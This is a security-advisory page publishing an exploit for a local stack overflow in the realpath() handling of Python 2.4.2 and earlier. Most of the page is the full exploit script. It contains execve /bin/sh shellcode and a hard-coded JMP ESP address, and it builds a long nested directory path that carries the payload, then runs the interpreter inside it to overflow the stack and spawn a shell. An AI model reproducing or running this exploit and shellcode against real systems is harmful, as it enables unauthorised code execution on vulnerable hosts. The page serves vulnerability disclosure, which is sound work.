[EXPL] Python realpath Local Stack Overflow (Exploit)

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Python realpath Local Stack Overflow (Exploit)
------------------------------------------------------------------------


SUMMARY

" <http://python.org/> Python is a dynamic object oriented programming
language ..."

The Python interpreter is vulnerable to a stack overflow due to unsafe use
of the realpath() function.

DETAILS

Vulnerable Systems:
* Python version 2.4.2 and prior.

Exploit:
#!/usr/bin/python

# gexp-python.py
#
# Python <= 2.4.2 realpath() Local Stack Overflow
# -----------------------------------------------
# Against VA Space Randomization.
#
# Copyright (c) 2006 Gotfault Security
#
# Bug found and developed by: dx/vaxen (Gotfault Security),
# posidron (Tripbit Research Group).
# Environment:
#
# Kernel Version : 2.6.12.5-vs2.0
# GCC Version : 4.0.3
# Libc Version : 2.3.5
#
# Special greets goes to : posidron from tripbit.net
# RFDSLabs, barros, izik,
# Gotfault Security Community.
#
# Original Reference:
# http://gotfault.net/research/exploit/gexp-python.py

import os

# JMP *%ESP @ linux-gate.so.1
jmp = "\x5f\xe7\xff\xff"

shell = "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e"
shell += "\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3"
shell += "\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
shell += "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"

os.chdir("/tmp")
base = os.getcwd()
dir = os.path.join("A"*250, "A"*250, "A"*250, "A"*250, "A"*42, jmp+shell)
os.makedirs(dir)
os.chdir(dir)

os.system('> vuln.py; python vuln.py')
os.remove("vuln.py")
os.chdir(base)
os.removedirs(dir)


ADDITIONAL INFORMATION

The original article can be found at:
<http://www.gotfault.net/research/exploit/gexp-python.py>
http://www.gotfault.net/research/exploit/gexp-python.py



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